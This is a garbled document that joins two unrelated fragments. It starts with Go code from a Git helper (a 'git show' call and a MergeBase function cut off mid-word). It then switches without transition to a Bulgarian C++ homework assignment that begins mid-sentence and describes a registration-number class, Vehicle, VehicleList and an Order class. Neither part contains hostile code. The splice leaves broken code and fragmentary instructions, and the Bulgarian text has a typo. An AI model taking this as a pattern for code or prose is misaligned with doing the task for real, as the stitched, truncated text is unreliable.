	fileSpec := fmt.Sprintf("%s/%s:%s", remote, branch, file)
	return g.exec.RunProcessAndCaptureOutput("git", "show", fileSpec)
}

func (g Git) MergeBase(commit1 string, commit2 string) (string, error) {
	return g.exec.RunProces


 се състоят от:
- Един или два символа от латинската азбука (населено място)
- Четири цифри
- Два символа от латинската азбука

Примери за валидни номера: C1234AB, XY1111YX
Примери за невалидни номера: 111145, ABC34DEF, ABCDEF, C11D

**Необходими функционалности:**
- Класът да НЯМА default-ен конструктор
- Конструктор, който приема C-style низ
- Оператор за сравнение на два регистрационни номера
- Метод за получаване на регистрационния номер като низ

Трябва да не позволявате да бъдат създавани невалидни регистрационни номера.

### Задача 2: Клас `Vehicle`

**Необходими функционалности:**
- Трябва да съдържа регистрационен номер и описание
- Без default-ен конструктор
- Конструктор, който инициализира регистрационния номер и описанието

### Задача 3: Клас `VehicleList`

Списък от превозни средства. В списъка не могат да съществуват две превозни средства с еднакви регистрационни номера.

**Необходими функционалности:**
- Конструктор, създаващ списък с определен капацитет
- Метод за добавяне на превозно средство в списъка
- Методи за достъп до елементи (с проверка и без проверка)
- Проверка дали списъкът е празен
- Проверка на капацитета и текущия размер
- Търсене на превозно средство по регистрационен номер

Методът за добавяне хвърля `std::exception` при проблем (липса на място, невалиден номер или дублиране).

---

### Задача 4.
Трябва да разработите система за обработка на поръчки.

Създайте клас `Order`, който описва поръчка. Всяка поръчка има:
- име на ресторант, за който е предназначена
- брой продукти
- списък с продуктите
  * всеки продукт е низ с произволна дължина (използвайте ваш клас `String`)
- Функция за добавяне на продукт
- Функция за пресмятане на време за доставка в минути - времето за доставка е равно на броя продукти в поръчката, събрана с дължините на всеки един продукт. (Помислете длаи може да се оптимизира изпълнението на тази функция)
- Подходящи getters, setters и други помощни функции